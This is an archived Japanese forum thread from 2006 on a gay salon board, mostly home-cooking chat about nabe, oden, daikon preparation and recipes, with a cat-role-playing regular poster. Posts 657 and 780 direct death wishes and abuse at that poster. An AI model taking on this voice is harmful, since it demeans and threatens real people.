http://www.37vote.net/2kote/1162967730/


638 :陽気な名無しさん:2006/11/17(金) 15:14:23 ID:iKyt2yfq
糞コテの相手をしてはいけません

639 :陽気な名無しさん:2006/11/17(金) 15:34:49 ID:aJO0sSGj
昨日のきょうの料理でアップルパイ生地を作るところからやってたわ〜
トライしてみたいけどフープロがないのよね・・・

640 :陽気な名無しさん:2006/11/17(金) 15:37:23 ID:QwtzURri
ぶっこんで、火にかけて豪華、鍋だね。具を豪華に蟹、海老と貝、てっちり、鯛のしゃぶ
しゃぶ。ダシ汁の代わりに日本酒、をぽん酢で頂く。

641 :ないちん =^_^=:2006/11/17(金) 16:45:31 ID:asCqjspk
みゃう。(アルファーかまど炊き)

642 :ないちん =^_^=:2006/11/17(金) 16:50:41 ID:3A7HYor8
>>640
巧妙に、
ないちんを避けている(つもり)だな。だが、
そうは問屋がおろさないな。問屋は、
中世商業資本家的な支配層だな。

みゃう。(問屋)

643 :ないちん =^_^=:2006/11/17(金) 16:52:36 ID:HoVOxYMT
ないちんは、
ねこだな。ねこがねぎを食べると、
血小板を壊されるのだな。さっき、ねぎを食わされて、
ないちんは殺されそうになったな。

みゃう。(血小板)

644 :ないちん =^_^=:2006/11/17(金) 18:02:44 ID:azmzE2NO
ないちんは、もう、
居酒屋に来たな。元気になったから、だな。まだ、
空いているな。

みゃう。(居酒屋)

645 :陽気な名無しさん:2006/11/17(金) 21:09:45 ID:SIZolRr1
このスレ
猫よけのペットボトルが足りないみたいね

646 :陽気な名無しさん:2006/11/17(金) 21:12:28 ID:szvUSdWc
無いチンってまだ生きてたのね

647 :ないちん =^_^=:2006/11/17(金) 21:15:43 ID:HoVOxYMT
ないちんは、生きているな。

みゃう。(森は生きている。)

648 :陽気な名無しさん:2006/11/17(金) 22:25:31 ID:naXB1g2p
すき焼き食べ過ぎて死にそうだわ。

649 :陽気な名無しさん:2006/11/17(金) 22:53:40 ID:7r05NIt6
まだこのスレに書き込んでる人がいたのねw
あっちは変なコテがいないから快適よ。

650 :陽気な名無しさん:2006/11/18(土) 00:16:49 ID:eOQo4T0a
ペットボトルって猫よけの効果はほとんどないのよ。
それよりもミカンの皮がいいそうよ。
猫は柑橘系の香りが苦手なんですって。

651 :ないちん =^_^=:2006/11/18(土) 03:40:53 ID:JeLTxdCe
今日は、
金曜日でもあるな。ないちんは、
ねこだな。ねこは、深夜に集会をやるのだな。ないちんも、いま、
集会から、帰ってきたな。

みゃう。(集会)

652 :ないちん =^_^=:2006/11/18(土) 04:32:12 ID:JeLTxdCe
>>649
ここのところ、例の、
(#゚Д゚)オラー! のすれが全然伸びてないな。やはり、
ないちんがお忍びで行かないと、
盛り上がらないな。

みゃう。(お忍び)

653 :陽気な名無しさん:2006/11/18(土) 08:51:30 ID:Zi6nV5Ik
>>639

生地はシートで充分だわよ。
手間のわりに味はそんなに変わらないしね。

654 :ないちん =^_^=:2006/11/18(土) 12:35:39 ID:rBrPgBf9
日本製粉にも、
パイシートがあるようだな。が、ないちんは、
ねこだな。ねこはぱいは食べないな。

みゃう。(ものぐさ)

655 :陽気な名無しさん:2006/11/18(土) 13:58:03 ID:sIInMZAM
 パイシートはそのまま細長く切って焼いても
ウマいよ。手作りジャムを添えれば最高。

656 :ないちん =^_^=:2006/11/18(土) 20:07:01 ID:rBrPgBf9
ないちんは、
ねこだな。ねこは、煮干が好きだな。いま、
ぽりぽりやっているな。焼酎には、
乾き物だな。

みゃう。(ぽりぽり)

657 :ヒロト:2006/11/19(日) 12:49:58 ID:r+D4ctoW
死ねよ糞ないちん。即死しとけ糞ないちん。死ねよ糞ないちん。共産主義者糞ないちん死ねよ即死しとけ。

658 :陽気な名無しさん:2006/11/19(日) 14:22:20 ID:hvhG4MW3
今日はタラモサンド作るわ!
茹でたジャガ芋とタラマヨ、チーズをはさんでトーストするの!!

659 :陽気な名無しさん:2006/11/19(日) 14:24:17 ID:WFHrBwBj
>>658
姐さん美味そうだよ。タラモサラダ好きなんだよね(^∀^)
自分は今カレー煮込んでるよ。

660 :陽気な名無しさん:2006/11/19(日) 14:58:39 ID:hvhG4MW3
>>659
つくって食ったわ!!馬杉よ!
モッツァレラ使ったのとマヨ比率を下げて
バターをまぜてソース作ったのが勝因だと思うわ

661 :陽気な名無しさん:2006/11/19(日) 15:18:56 ID:F+AR6ouy
基地外糞コテの相手をしてはいけません

662 :陽気な名無しさん:2006/11/19(日) 15:25:20 ID:fnXklyIf
今まで炒めるとか焼くとかしかできなかったから、
もうちょっとバリエーションを増やしたいわ。

663 :陽気な名無しさん:2006/11/19(日) 15:25:39 ID:otQa4MOU
>>639
フードプロセッサなんて…。講師は誰だったのかしら?
家庭で少量ならパイブレンダーで十分ね。
ポテトマッシャーがあるならそれを代用よ。

664 :陽気な名無しさん:2006/11/19(日) 15:35:17 ID:otQa4MOU
>>639
気温が低くなってきたから、パイ生地を作るにはもってこいよ。
一度チャレンジしてみるとよいわ。
少し多めに作ってスープを入れた器にかぶせてオープンで焼いたり、
肉を包んでオープンで焼いたり、お菓子だけじゃなくていろいろ使ってみてね。
話題になったカルピスバターで生地を作るのも良いかもね。

665 :ないちん =^_^=:2006/11/19(日) 20:38:28 ID:MHah114r
>>658
ないちんは、
通常サイズの食パンだと、パスコ敷島の、
ローマン・ミール・ブレッド・麦の恵みが好きだな。
食物繊維も、たっぷり含まれているな。

みゃう。(たっぷり)

666 :陽気な名無しさん:2006/11/19(日) 21:07:24 ID:gD96AoQx
鍋って難しくない?
一通り食べ終わって雑炊にする頃には、しょっぱくなっちゃう。

667 :ないちん =^_^=:2006/11/19(日) 21:19:11 ID:MHah114r
>>666
だし汁を、
用意しておけば問題はないはずだな。あるいは、水(お湯)と、
理研の無添加だしの元を準備しておけば、
すぐに薄めることが出来るな。

あるいは、
昆布を多めに準備しておいて、煮抜くことだな。甘みは、
良質の酒を用いることだな。
そば焼酎・雲海でもいいな。

みゃう。(間抜け目!)

668 :陽気な名無しさん:2006/11/19(日) 21:24:03 ID:SJe9kJea
>>666
薄めればいいじゃない

669 :ないちん =^_^=:2006/11/19(日) 21:59:59 ID:MHah114r
>>668
しかし、
それではだしが薄くなってしまう恐れがあるな。だから、
理研の無添加を使え、といっているのだな。

みゃう。(言っている)。

670 :陽気な名無しさん:2006/11/19(日) 23:10:37 ID:otQa4MOU
>>666
具材のダシが十分に出ているから
味をみながらお湯をたして
ご飯を入れてみてね。

671 :ないちん =^_^=:2006/11/20(月) 03:24:27 ID:t2xTGyxX
みゃう!

ないちんは、
あきれているな。開いた口がふさがらないな。こんな、
簡単な質問が出ることと、それに対して、
大量のレスが入ることが、
この擦れのレベルの低さを、雄弁に、
物語っているから、だな。

みゃう。(雄弁)

672 :陽気な名無しさん:2006/11/20(月) 08:02:35 ID:gRDaIY9j
踏ん反り返って、思いやりがない猫って…ふてぶてしい

673 :ないちん =^_^=:2006/11/20(月) 12:51:09 ID:t2xTGyxX
ないちんは、
ねこだな。ねこは心を許す相手にしか、
おなかを見せないな。だから、ふんぞり返ることはないのだな。

ねこは寒がりなので、しかし、
ホットカーペットに腹ばいになり、
>>672
こんなやつにしりを向けることぐらいはするのだな。

んみゃ?(尻を向けたぞ?)

674 :陽気な名無しさん:2006/11/20(月) 18:18:04 ID:jgHTRVxK
 あきれてるなら来なけりゃいいのに…芯でいいよ。

675 :ないちん =^_^=:2006/11/20(月) 20:39:23 ID:Jiaau0NS
夜食のすれでないちんは、
警告してきたな。ないちんは、ねこだな。ねこは、
時間には結構正しいものだな。

みゃう。(時間厳守)

676 :陽気な名無しさん:2006/11/20(月) 21:00:46 ID:0YOBjGw4
鶏がらと鶏白湯って違うのかしら?

677 :ないちん =^_^=:2006/11/21(火) 13:53:43 ID:PFuWmxbF
ないちんは、
スタバに来たな。ないちんはねこだな。ねこは、
暖かいと、散歩に出るのだな。

みゃう。(散歩)

678 :ないちん =^_^=:2006/11/21(火) 13:55:56 ID:PFuWmxbF
ないちんは、
ソイ・ラテを飲んでいるな。スタバの豆乳は、
トーラクだな。すっきりとしたクリアーな味わいが、
特徴だな。

ないちんは、
とーらく豆乳でシチューを作りたいな。仕上げに、
生クリームも入れたいな。生クリームは、
中沢が良いな。

スタバの生クリームは、
中沢だな。

みゃう。(とーらく)

679 :ないちん =^_^=:2006/11/21(火) 13:57:38 ID:1gPN+dSp
エクセルシオールは、
高梨乳業だな。ないちんは、高梨のバターが好きだな。

ソースを作る際に、
小麦粉とたまねぎを、
高梨のバターで炒めたいな。

やはり料理は、
素材へのこだわりだな。ないちんはこれを、
プレミアム・シチューと呼んでいるな。

みゃう。(プレミアム)

680 :陽気な名無しさん:2006/11/21(火) 21:41:44 ID:rnrAAnTz
ないちん=松子=ウリ吉www

681 :陽気な名無しさん:2006/11/21(火) 21:44:30 ID:HI9o5CsM
最近お野菜が安いわね
ついいろいろ買いすぎてしまうわ
今日もでかい大根半分くらい大根ステーキにして喰ったわ
ソースは味噌マヨネーズ

682 :陽気な名無しさん:2006/11/21(火) 21:51:09 ID:m9C2p2RE
あら、美味しそうね。
大根ステーキって、煮てから焼くのかしら…

683 :陽気な名無しさん:2006/11/21(火) 21:55:27 ID:HI9o5CsM
下茹でしてから焼くんだけど、めんどくさいからチンしてから焼いたわ〜
ほんとは味しみしみ煮物にしたかったけど、煮るだけなのになんかめんどくさくて・・・

684 :陽気な名無しさん:2006/11/21(火) 22:02:14 ID:m9C2p2RE
そうなんだ。
確かに、面倒臭い気分の時ってあるわよね。

大根の美味しい季節ね。
作って一日経った、味の染みてる大根が食べたいわ〜。

685 :陽気な名無しさん:2006/11/21(火) 23:28:10 ID:F0vyUOUF
ダイコンを煮る前に、米のとぎ汁で下煮をするのはどうしてですか?

686 :陽気な名無しさん:2006/11/21(火) 23:46:40 ID:Acrd0CuA
あくをとるため

687 :陽気な名無しさん:2006/11/22(水) 02:19:12 ID:fB+o/PSE
大根は唐辛子で水煮してもいいみたい、母がやってるから

CMでやってた豚と大根のだし煮を作ったけど、おいしすぎて鼻水出た

豚を茹でて、豚スープのアクと脂をとって…
下茹でした大根と薄口醤油、だし(昆布+a)を入れて煮て食べてみて下さい

688 :陽気な名無しさん:2006/11/22(水) 06:02:30 ID:QJueIRTx
>>685
あく取りなのかしら。
煮崩れを防ぐ為とも思ったけど、本には大根の色をより白く仕上げる為とも書いてあったわ。
真偽のほどは…誰か知らないかしら?気になり始めたわ。

>>687
豚は肩ロースの塊がいいかしら?
作ってみるわ〜

689 :陽気な名無しさん:2006/11/22(水) 06:07:03 ID:QJueIRTx
あら、あたし間違えたわ。米のとぎ汁だったのね。
大根を煮る時に、お米を入れる事と勘違いしたわ。ww

690 :陽気な名無しさん:2006/11/22(水) 08:09:05 ID:qpNDo+ic
>>688
あくが残ってると時間が経つうちに化学反応で黒っぽくなるわ。



691 :陽気な名無しさん:2006/11/22(水) 09:56:22 ID:rOfeEwzX
ダイコンを下ゆでする時の、米のとぎ汁を使うのと、米をひとつまみ使うのとは、
同じ理由からだと思う。

692 :ないちん =^_^=:2006/11/22(水) 15:24:16 ID:HcCILKbO
>>688
ないちんは、
ばら肉の方がいいな。炊飯器でやってみたいな。
いろいろと作るものが多くて、困るな。

みゃう。(いろいろ)

693 :陽気な名無しさん:2006/11/22(水) 16:34:32 ID:278pEVbI
>>689
とぎ汁がなきゃ米いれとけって話。

694 :ないちん =^_^=:2006/11/22(水) 16:43:10 ID:HcCILKbO
んみゃー?

695 :陽気な名無しさん:2006/11/22(水) 17:06:27 ID:TUnE91kU
おでんに入れるときは下ゆでしないと
大根の苦味が出すぎるわよ。

696 :688:2006/11/22(水) 18:12:19 ID:QJueIRTx
なるほど。
皆さん、どうもありがとう。

697 :ないちん =^_^=:2006/11/22(水) 18:48:44 ID:1+bly85m
>>696
みゃう。(どういたしまして)

ないちんは、いま、
コーヒーを自宅で飲んでいるな。つまみは、
黒砂糖くるみだな。ないちんはねこと言えども、
コーヒーを飲むおしゃれなねこなのだな。

みゃう。(おしゃれ)

698 :陽気な名無しさん:2006/11/23(木) 01:16:38 ID:wwWon3ww

同性愛サロン板、最も痛い住人を決めるのよ!その5
http://www.37vote.net/2kote/1162967730/


699 :陽気な名無しさん:2006/11/23(木) 01:21:30 ID:qu5F6bw5
今、インスタントのカレーうどんを作ったんですけど…
とろろをだしにして、仕上に水溶きかたくりを入れたら美味でした
麺に絡み付くとろろとカレー。最後にご飯を入れておじやにして、汁まで美味しくいただきました

700 :ないちん =^_^=:2006/11/23(木) 08:52:25 ID:wg7Uq1xj
>>698
まだないちんは、
TOPの半分ぐらいの得票だな。はやく、
1位になりたいな。1位は女帝だな。
女王様ゲームが、できるな。

みゃう。(女帝)

701 :陽気な名無しさん:2006/11/23(木) 14:12:36 ID:RLclUiRJ
今、野菜が安いのね!久々に自炊するわ!!
一人鍋よ!!!

702 :陽気な名無しさん:2006/11/23(木) 14:49:47 ID:qu5F6bw5
鳥つくね鍋がオススメ
だしも出るし、市販の鍋用つくねを買えば簡単です

703 :陽気な名無しさん:2006/11/23(木) 16:32:29 ID:u07hz0H4
>>685

下煮をしない大根なんて、食べられないわよ…。
(料理にもよるけど、おでんは絶対下煮が必要よ)
うちの母親が下煮を知らない人間だったから、大人になるまで
おでんの大根が大嫌いだったわ。

下煮しなくてもなんとかなるのは味噌汁に入れる時ぐらいかしら。
お味噌のこうじが苦味を消してくれるわ。

704 :陽気な名無しさん:2006/11/23(木) 18:22:50 ID:vtyknJmT
>>701
まあ、私も今日は寒いから鍋よ。

おでんの素で中華鍋を作るの。
チンゲン菜、ニラ、手羽先、ゆで卵、糸こん、さつま揚げよ。
本当はきりたんぽも入れたいんだけど、いいお値段なのよね。

705 :陽気な名無しさん:2006/11/23(木) 19:02:37 ID:gFk2L3FX
実家(東北)にいたとき、寒くなると母がゆず味噌を添えた
ふろふき大根を作ってくれたの。市販の味噌らしいんだけど、
東京じゃ売ってないのよね。誰か知らない?

706 :陽気な名無しさん:2006/11/23(木) 20:22:54 ID:rAoiEH2Z
ゆず味噌簡単に作れるよ。
みりん、砂糖、味噌を適量鍋に入れてあたため
仕上げにゆずの皮をおろして入れるだけ。

707 :陽気な名無しさん:2006/11/23(木) 20:45:04 ID:uXvmSXch
モツ鍋食べたわ!
鼻水ダラダラよ。人前では食べられないわね。

708 :陽気な名無しさん:2006/11/23(木) 20:51:04 ID:FgKCHDL6
>>707
あたしなら
そんなあなたを受け止められる気がするの。

709 :陽気な名無しさん:2006/11/23(木) 23:50:52 ID:3/zpv5IU
>>706
ゆず、苦味が出ないかしら?

710 :陽気な名無しさん:2006/11/23(木) 23:54:00 ID:84fCmK3I
>>705
石山みそかしら?

711 :ないちん =^_^=:2006/11/23(木) 23:54:29 ID:wg7Uq1xj
>>708
みゃう。(ありがたい)

712 :陽気な名無しさん:2006/11/24(金) 00:51:34 ID:AOPIC0MS
新しく買ったアルミの雪平鍋、なんか底が七光りするの。大丈夫かしら?

あと、包丁などステンレス製のものって水滴の跡がつきやすくて嫌だわ。
皆さんはどうしてる?やっぱり洗ったらすぐに拭くのかしら?

713 :陽気な名無しさん:2006/11/24(金) 00:52:46 ID:YTC5t6Cb
勿論すぐに拭くのよ
あと流し台も使い終わったら拭いてあげてね

714 :陽気な名無しさん:2006/11/24(金) 01:01:55 ID:AOPIC0MS
マメなのね。
あたしなんか洗ったら次に台所に立つまで置いて乾かすわ。

715 :陽気な名無しさん:2006/11/24(金) 01:20:44 ID:2fJbc9ur
ゆず味噌って検索したら簡単に出来るじゃないの!
>>706は火にかけると言ってるけど、混ぜるだけで良いらしいわよ?

716 :陽気な名無しさん:2006/11/24(金) 01:56:14 ID:LS36WShg
この擦れだったかしら、クリームシチューにロールキャベツを入れて煮込む料理を聞いたのは…
今日やったら美味しかったわー!ありがとう!
ちなみにキノコシチューにしたわ。

717 :陽気な名無しさん:2006/11/24(金) 02:16:15 ID:AAPBz/UI
アタシもこないだ風呂吹き大根に赤味噌添えて食べたわ。ゆずの皮をちょこっとのっけて。
風呂吹き大根ってなんで風呂吹き、なんて名前なのかしら。

718 :陽気な名無しさん:2006/11/24(金) 02:23:20 ID:nK70bmaY
茹でたキャベツをオタフク(ソース)とマヨネーズだけで食べる人居る?
これんまいのよね

719 :陽気な名無しさん:2006/11/24(金) 02:25:03 ID:pGYf+Yqe
暖冬傾向で、野菜が安いから助かるわ〜
大根も、ぶっといのが120円なのよ。

>>717
あら、賄いのオバチャンが畑で作った大根かしら?

720 :陽気な名無しさん:2006/11/24(金) 02:26:41 ID:nK70bmaY
>>717
繊維質の多い大根を食べてお風呂に入ると
おならが出るからよ。











うっそ

721 :陽気な名無しさん:2006/11/24(金) 02:31:42 ID:AAPBz/UI
>>719
違うわ。どっかで買ってきたものみたい。アタリだったみたいでおいしい大根だったわ。
畑の大根はまだ一本しか収穫できてないわ。

これからの季節は鍋の出番が多くなるわね。みんな何鍋が好き?
アタシこないだ友達が「今から彼氏と鍋するからなんかいいの教えて!」っていうから、
以前その友達と一緒に食べたことがあるコンソメ鍋をお勧めしたのよ。そしたら友達の彼氏ったら
「こんなブサイクなもの食えるか!」って怒ってレタスやらパスタやらよけて豚肉だけを渋々つまんでたらしいわ。
友達もエラく傷ついてたみたいだけど、なんかアタシもアタシ自身をブサイクと言われたようでちょっと傷ついたわw

722 :陽気な名無しさん:2006/11/24(金) 02:33:22 ID:AAPBz/UI
>>720
いや、でも、アリエルわよ?アタシも風呂吹き大根食べたあとお風呂でオナラたくさん出たもの。
ブワッって。

723 :陽気な名無しさん:2006/11/24(金) 02:33:22 ID:yM6cldP+
レタスやらパスタを入れる鍋って何なの?
面白いわね。

724 :陽気な名無しさん:2006/11/24(金) 02:34:38 ID:1Gb6s7MV
>>718
キャベツには味噌マヨがいいわ。
気分によってゴマ油、ミリン、七味、カラシをいれたりするのよ。

725 :陽気な名無しさん:2006/11/24(金) 02:35:13 ID:YFKSnNGw
きっと「ブサイク鍋」っていうレシピなのよ

726 :陽気な名無しさん:2006/11/24(金) 02:38:53 ID:pGYf+Yqe
鰹と昆布の出汁に、つくね、いろんな野菜、キノコ、豆腐、しらたき、春雨なんかを
適当にぶっこんだのが好きだわ。名前があるのかしら?
ポン酢醤油とか、ごまだれなんかでいただくの。
残ったら、次の日は味噌を溶いて、味噌汁ね。

>>721
あら、野郎ぽい彼氏だけど、その口の利き方はお仕置きが必要だわ。
アタシがそんなこと言われたら、煮えた鍋をぶっかけてやるわね。

727 :陽気な名無しさん:2006/11/24(金) 02:40:29 ID:AAPBz/UI
>>723
要はコンソメスープとかチキンスープのしゃぶしゃぶよ。
ニンニクと唐辛子と黒胡椒とか塩とか、トマトも少しだけ入れて。
レタスはしゃぶしゃぶにしないんだけど、放置しすぎるとマズいわ。
豚肉だし、あっさりしてて意外とイケるのよ?
〆はパスタでもいいけど、ご飯とチーズでリゾット風でもいいわ。
テレビの視聴者投稿コーナーみたいなので知ったんだけど、簡単だし
結構みんな喜んで食べてくれたのよ?でもやっぱりブサイクなのかしら?
友達の彼氏ってのが相当な変わり者ってのもあるみたいだけど。


728 :陽気な名無しさん:2006/11/24(金) 02:44:40 ID:yM6cldP+
洋風鍋ね。
それはそうと、無知をさらけ出すようで忍びないんだけど、
ちり鍋のちりって何なのかしら。
あたし、○○ちり鍋って言葉を見かける度に、唐辛子を連想しちゃうのよ。

729 :陽気な名無しさん:2006/11/24(金) 02:48:22 ID:AAPBz/UI
ふぐちりとか?っていうかふぐちりとか食べたことないから連想することもなにもないわw
でもエビチリとかあるわけだし、やっぱ赤唐辛子なんじゃない?きっとそんなに古い言葉じゃないと思うのよ。
南米のチリから赤唐辛子が入るようになってから、とかじゃないかしら。テキトーだけどw

730 :陽気な名無しさん:2006/11/24(金) 02:50:33 ID:yM6cldP+
やだ、ふぐちりに唐辛子は使わないわよ・・・。
そうか、料理に詳しいあなたですら知らないのよね。
ちょっと安心したわ。

731 :陽気な名無しさん:2006/11/24(金) 02:53:21 ID:AAPBz/UI
キャーーーーーーー!!!!!!!!!!!!!!!!!!
赤っ恥かいたからもう寝るわ!!!!!!!!!!!!!!!
ハズカシー!!!!!!!!!!!

732 :陽気な名無しさん:2006/11/24(金) 02:58:13 ID:Qu9fGTQ/
ちりちり。

733 :陽気な名無しさん:2006/11/24(金) 02:59:11 ID:pGYf+Yqe
素だったのね…

734 :陽気な名無しさん:2006/11/24(金) 02:59:27 ID:LS36WShg
調べたら、魚介類や豆腐、野菜を入れて、酢醤油で食べるって書いてあったけど…。
あたしは「ちり」の意味が知りたいのよーー!!

735 :陽気な名無しさん:2006/11/24(金) 03:02:19 ID:E4LHoN5H
みつけたお!
http://www3.kcn.ne.jp/~jarry/jkou/ii091.html

736 :陽気な名無しさん:2006/11/24(金) 03:03:29 ID:AAPBz/UI
名誉挽回していいかしら!!!はけんしたわよ!!!!!!!!

http://gogen-allguide.com/ti/chirinabe.html

737 :陽気な名無しさん:2006/11/24(金) 03:05:20 ID:AAPBz/UI
>>735
ちょっとアンタ!!!恥の上塗りしちゃったじゃない!

あー恥ずかしいわ…

738 :陽気な名無しさん:2006/11/24(金) 03:06:54 ID:yM6cldP+
んまー!
見過ごしていたけど、732さんの何気ない言葉が真理を突いていたのね。
調べて下さった皆さんどうもありがとう!
おかげでぐっすり眠れそうよ!

739 :陽気な名無しさん:2006/11/24(金) 03:10:52 ID:LS36WShg
語源は解ったけど、豆腐か野菜を入れなかったら、ちり鍋とは呼ばないのかしら…。
線引きが解らないわ〜。
取りあえず、なんでも入ってたら「ま〜ちり鍋ね」って言っときゃ良いのかしら?

740 :ないちん =^_^=:2006/11/24(金) 11:52:02 ID:VX0zMUmQ
みゃう。(ただいまー!)

さっそくないちんは、

ひとり飲み会・3次会
http://love3.2ch.net/test/read.cgi/gaysaloon/1137072960/

行ってきたな。ないちんは、
飲みながら料理を作り、さらに皿を洗ったりして、
パソコンを覗きで、
だらだら3時間ぐらい過ごすことが多いな。

みゃう。(だらだら)

741 :ないちん =^_^=:2006/11/24(金) 11:57:41 ID:VX0zMUmQ
みゃう。(ちりちり)

742 :陽気な名無しさん:2006/11/24(金) 19:30:50 ID:OndrZXUM
久々に「おでん」を煮てみたわ。
コンソメだしで、冷凍のロールキャベツや、
ウインナーも入れたので、
おでんだかポトフだかわかんない煮物になっちゃった。

いっただっきま〜す♪

743 :ないちん =^_^=:2006/11/24(金) 19:44:45 ID:fk0tA4d1
料理の妨害に、ないちんは、
成功したな。ないちんはねこだな。

ねこは、
大好物の料理が出来るのが、待てないのだな。だから、
みゃう、みゃう、みゃう、みゃう、みゃう!!!!
妨害してしまうのだな。

だから、
おでんともポトフとも付かぬものが、完成したのだな。

みゃう。(妨害)

744 :宣伝:2006/11/24(金) 21:26:37 ID:Y5o2+Wlz

【そこそこ】おすすめ簡単レシピ【美味しい】
http://love3.2ch.net/test/read.cgi/gaysaloon/1164025464/l50

745 :陽気な名無しさん:2006/11/25(土) 00:06:44 ID:88xp8eWg
http://portal.nifty.com/koneta05/12/21/01/
うまい鶏肉の作り方

746 :陽気な名無しさん:2006/11/25(土) 08:38:04 ID:n+i3xV+R
このサイトに載ってたキャベツを試したけど焦げちゃったわ。

747 :ないちん =^_^=:2006/11/25(土) 12:21:06 ID:QCkQE4X+
今日は寒いな。ないちんは、
ねこだな。ねこは時に、
野外に投げ捨てられてしまうものだな。ホットカーペットが、
恋しいな。

みゃう。(恋しい)

748 :>>712:2006/11/25(土) 13:50:55 ID:0P6rZGh5
基本的にステンとガラスは熱いお湯ですすぐ。水ですすいで、熱いお湯をざぁっとかけて、すぐ拭いてもいいね。ピカピカになるね。油分が付きやすい取れにくいみたいだね。

749 :陽気な名無しさん:2006/11/25(土) 13:52:40 ID:46d5CdEi
なんかセブンのおでんに慣れちゃったせいで、
エスビーのおでんの素が物足りなく感じるわ。

紀文のおでんの素ってどうかしら?

750 :陽気な名無しさん:2006/11/25(土) 14:43:31 ID:h/KwZOZa
どっかのサイトでコンビニおでんのような汁のレシピあったけど。


751 :陽気な名無しさん:2006/11/25(土) 16:02:50 ID:/tMz+I6U
今からロールキャベツ作るわ!
あたしはトマトソースで煮込む派よん

752 :陽気な名無しさん:2006/11/25(土) 16:14:45 ID:KzQw20QI
きちんと作れる人が羨ましいわ。
あたしこの間、初めて作ったんだけど包み方が難しかったわ。
今度、母に習わなくては。

753 :陽気な名無しさん:2006/11/25(土) 16:23:55 ID:N24jv6BR
ロールキャベツはコンソメスープで煮込むのもおいしいわよね。
玉ねぎの甘味とベーコンの旨味が味わえるし。

754 :陽気な名無しさん:2006/11/25(土) 17:55:21 ID:5MmhEgEq
>>747
まだ買ったばかりのうちのホットカーペットで寝ればイイと思うの

>>745
ちょっと試してみたいわ・・・

755 :陽気な名無しさん:2006/11/25(土) 18:36:18 ID:bD6GWbPi
糞コテの相手をしてはいけません

756 :陽気な名無しさん:2006/11/25(土) 19:00:20 ID:kfo6GkxA
あたしも久々に炊飯器引っ張りだしてきたわ!

757 :ないちん =^_^=:2006/11/25(土) 19:14:43 ID:MkoSTYFS
>>754
が、怖いのも確かだな。

ないちんはねこだな。ねこは体重が、
3`しかないな。すると、
体が加熱されそうなのだな。hot carpet だと、だな。

しかし、飼い主は、
情にほだされて、
hot carpet をつけっぱなしにしてくれるな。

みゃう。(情)

758 :ないちん =^_^=:2006/11/25(土) 19:20:21 ID:MkoSTYFS
>>754
ないちんは、
hot carpet の上敷きのラグを、
コイン・ランドリーで洗うな。結構ぴかぴかになるな。
そろそろ、ないちんも、
コイン・ランドリーに、行きたいな。

みゃう。(行きたい)

759 :ないちん =^_^=:2006/11/25(土) 19:22:13 ID:MkoSTYFS
>>756
1時間ぐらいで、
ポトフが作れるな。

カットしていない、
カレー野菜セットを買ってきて、たわしで洗うのだな。
ベーコンや手羽元や昆布などの、
だしが出るものと煮込んで、1時間だな。

ちなみに、
手羽元は湯がく程度はしたほうがいいな。そうすれば、
あくが出ないな。

みゃう。(あく)

760 :陽気な名無しさん:2006/11/26(日) 01:55:41 ID:D2cap5cT

同性愛サロン板、最も痛い住人を決めるのよ!その5
http://www.37vote.net/2kote/1162967730/


761 :陽気な名無しさん:2006/11/26(日) 03:11:05 ID:48lUJfKU
ロールキャベツって、小さい時はトマト味しか知らなかった。
大人になってから赤くないスープ知ったわ。


762 :陽気な名無しさん:2006/11/26(日) 03:29:27 ID:jVbjY7ci
いまの季節、白菜が安いけど玉で買った場合、何に使えばいいかな?


763 :陽気な名無しさん:2006/11/26(日) 03:32:31 ID:EEasvmPj
>>761
自分は逆だ

764 :陽気な名無しさん:2006/11/26(日) 03:33:09 ID:7cxb+qQu
>>761
トマト味のロールキャベツ!
そういうものもあるのか

765 :陽気な名無しさん:2006/11/26(日) 03:33:16 ID:eNLkGF9O
あたしはロールキャベツよかロール白菜が好きだわ?
醤油仕立てね

766 :陽気な名無しさん:2006/11/26(日) 03:45:02 ID:9MJ7jEfY
ロール白菜いいわね
ポン酢もあいそう

767 :陽気な名無しさん:2006/11/26(日) 04:01:28 ID:RA7zjkoc
白菜を細かく切ってサラダにするとかダメ?

768 :陽気な名無しさん:2006/11/26(日) 06:10:38 ID:EEasvmPj
白菜の餃子
白菜と厚揚げの煮浸し
白菜の浅漬け
八宝菜
何か鍋物

769 :陽気な名無しさん:2006/11/26(日) 06:45:55 ID:wqATKwLH
>>767
ツナと合わせてみたら?

770 :陽気な名無しさん:2006/11/26(日) 09:54:17 ID:xS+RvOiv
>>767
先の柔らかいところなら
サラダで食べられますよ。
イギリスでも生で食べていた。

771 :陽気な名無しさん:2006/11/26(日) 09:55:38 ID:xS+RvOiv
白菜なら、ホタテ缶を買ってきて
クリーム煮にるのもおいしい。

772 :陽気な名無しさん:2006/11/26(日) 14:23:48 ID:MtCxpiOR
おでん、どうしても味が薄くなっちゃうのよね。

773 :陽気な名無しさん:2006/11/26(日) 17:05:40 ID:rA2mJ8ff
おでん食いたい。

作ると何でも入れたくなって一人じゃ食べきれない量になってしまう・・・・
卵、牛すじ、大根、骨付き鶏肉、ホタテ、蛸、練り物各種・・・気が向いたらジャガイモなんかも入れたいなー。

774 :陽気な名無しさん:2006/11/26(日) 17:28:21 ID:9O7aAv9p
セブンのおでんって何気においしいわよね。
香りがいいし、味も上品だわ。

775 :陽気な名無しさん:2006/11/26(日) 18:26:39 ID:Z7TSPJWX
ホワイトカレーに白菜、里芋を入れたら美味しかったわ(笑)蕪もいれても美味しそうだわ!
コツは先に白菜を炒めてしまうのよ!

776 :陽気な名無しさん:2006/11/26(日) 18:38:00 ID:+tC8IKb6
オカマはふとらないって本当?
私生まれ変わったら絶対オカマになる。決めてるの。

777 :陽気な名無しさん:2006/11/26(日) 18:41:45 ID:wlMODq8D
俺は生まれ変わってもまた今のノンケのイケメンになりたいな。


778 :陽気な名無しさん:2006/11/26(日) 18:44:43 ID:+tC8IKb6
せっかくだからレシピも書いてくわ
大根ギョウザ
まずギョウザの餡をつくる。(鶏挽き肉がオススメ)
大根の薄切りに餡をすこしのせて、半月型にたたんで片栗粉でとめる。
これを耐熱皿に並べてチンするとできあがり!
大根がほんのりすけてキレイだしヘルシーなの。
ポン酢でどうぞ。

779 :陽気な名無しさん:2006/11/26(日) 19:01:28 ID:fq54NDcQ
>オカマはふとらないって本当?
今日、昼の日テレでカバちゃんがダイエットしてたわよ。


780 :陽気な名無しさん:2006/11/26(日) 21:54:43 ID:GjXBruOp
死んだら、もう太らないし歳もとらないらしいから
アンタ達いっぺん、ないちん道連れに試してみて

781 :陽気な名無しさん:2006/11/26(日) 22:00:18 ID:H8Gd7Fo3
今日はおでんとハリハリ鍋をひとつのなべで同時に作ったわw
別名ごった煮?w
ここで、大根の下茹でに唐辛子を使う方法を教えてくれた方ありがとう
なんかピリッとしていい感じだわ
